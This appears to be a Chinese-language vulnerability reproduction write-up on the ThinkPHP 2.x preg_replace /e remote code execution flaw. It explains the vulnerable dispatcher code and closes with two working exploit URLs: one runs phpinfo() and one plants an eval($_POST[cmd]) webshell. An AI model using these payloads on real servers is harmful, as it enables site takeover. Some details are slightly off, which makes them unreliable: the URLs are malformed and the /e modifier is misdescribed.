漏洞复现----24、ThinkPHP 2.x 任意代码执行漏洞

---

一、ThinkPHP简介

ThinkPHP是PHP语言的一种开源框架。ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本支持，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，ThinkPHP框架本身没有什么特别模块要求，具体的应用系统运行环境要求视开发所涉及的模块。
在ThinkPHP ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由：

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞，也存在这个漏洞。

二、preg_replace() 函数

preg_replace() 函数：
preg_replace 函数执行一个正则表达式的搜索和替换。

语法：
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

参数说明：
$pattern: 要搜索的模式，可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1（无限制）。
$count: 可选，为替换执行的次数。

返回值：
如果 subject 是一个数组， preg_replace() 返回一个数组， 其他情况下返回一个字符串。
如果匹配被查找到，替换后的 subject 被返回，其他情况下 返回没有改变的 subject。如果发生错误，返回 NULL。

这个函数的3个参数，结合起来的意思是：如果目标字符存在符合正则规则的字符，那么就替换为替换字符，如果此时正则规则中使用了/e这个修饰符，则存在代码执行漏洞。

三、/e

/e为可执行模式，此为PHP专有参数。
e 配合函数preg_replace()使用，可以把匹配来的字符串当作正则表达式执行; 。

四、代码解析

造成Thinkphp 2.x任意代码执行的漏洞代码如下：
ThinkPHP\App\ThinkPHP\Lib\Think\Util\Dispatcher.class.php：

//  获取当前路由参数对应的变量
if(!isset($_GET[C('VAR_ROUTER')])) {
    $vars    =   explode(',',$route[2]);
    for($i=0;$i<count($vars);$i++)
        $_GET[$vars[$i]]     =   array_shift($paths);
    // 解析剩余的URL参数
    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$_GET[\'\\1\']="\\2";', implode('/',$paths));
}

五、漏洞复现

1、写入phpinfo()

http:192.168.209.138:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

2、写入webshell

http:192.168.209.138:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}

发送请求后，页面虽然报错，但是已经写入成功，使用webshell工具连接。